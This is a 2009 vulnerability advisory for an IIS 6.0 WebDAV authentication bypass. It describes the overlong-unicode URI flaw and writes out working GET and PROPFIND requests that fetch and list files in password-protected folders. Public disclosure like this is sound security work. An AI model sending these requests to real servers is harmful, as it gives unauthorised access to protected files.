*** FOR IMMEDIATE RELEASE *** *** FOR IMMEDIATE RELEASE ***

Microsoft IIS 6.0 WebDAV Remote Authentication Bypass

Discovered by Kingcope - May 12th, 2009

Affected Vendors

Microsoft

Affected Products

Web Server

Vulnerability Details

This vulnerability allows remote attackers to bypass access restrictions on vulnerable installations of Internet Information Server 6.0.
The specific flaw exists within the WebDAV functionality of IIS 6.0. The Web Server fails to properly handle unicode tokens when parsing the URI and sending back data. Exploitation of this issue can result in the following:

- Authentication bypass of password protected folders
- Listing, downloading and uploading of files into a password protected WebDAV folder

Authentication bypass of password protected folders

Assume there is a password protected folder in „d:\inetpub\wwwroot\protected\“. The password protection mechanism is not relevant for the attack to work. Inside this folder there is a file named „protected.zip“

The attacker sends a HTTP GET request to the web server.

```
GET /..%c0%af/protected/protected.zip HTTP/1.1
Translate: f
Connection: close
Host: servername
```

As seen above the URI contains the unicode character '/' (%c0%af). This unicode character is removed in a WebDAV request. „Translate: f“ instructs the web server to handle the request using WebDAV. Using this malicious URI construct the webserver sends the file located at „/protected/protected.zip“ back to the attacker without asking for proper authentication.
Another valid request an attacker might send to the web server is:

```
GET /prot%c0%afected/protected.zip HTTP/1.1
Translate: f
Connection: close
Host: servername
```

IIS 6.0 will remove the „%c0%af“ unicode character internally from the request and send back the password protected file without asking for proper credentials.
ASP scripts cannot be downloaded in this way unless serving of script source-code is enabled.

Listing files in a password protected WebDAV folder

The attack on WebDAV folders is similar. The attacker can bypass the access restrictions of the password protected folder and list, download, upload and modify files.

The attacker sends a PROPFIND request to the web server.

```
PROPFIND /protec%c0%afted/ HTTP/1.1
Host: servername
User-Agent: neo/0.12.2
Connection: TE
TE: trailers
Depth: 1
Content-Length: 288
Content-Type: application/xml

<?xml version="1.0" encoding="utf-8"?>
<propfind xmlns="DAV:"><prop>
<getcontentlength xmlns="DAV:"/>
<getlastmodified xmlns="DAV:"/>
<executable xmlns="http://apache.org/dav/props/"/>
<resourcetype xmlns="DAV:"/>
<checked-in xmlns="DAV:"/>
<checked-out xmlns="DAV:"/>
</prop></propfind>
```

IIS responds with the directory listing of the folder without asking for a password.

Credit

This vulnerability was discovered by:

Nikolaos Rangos
Contact: kcope2@googlemail.com
Greetings to: alex and andi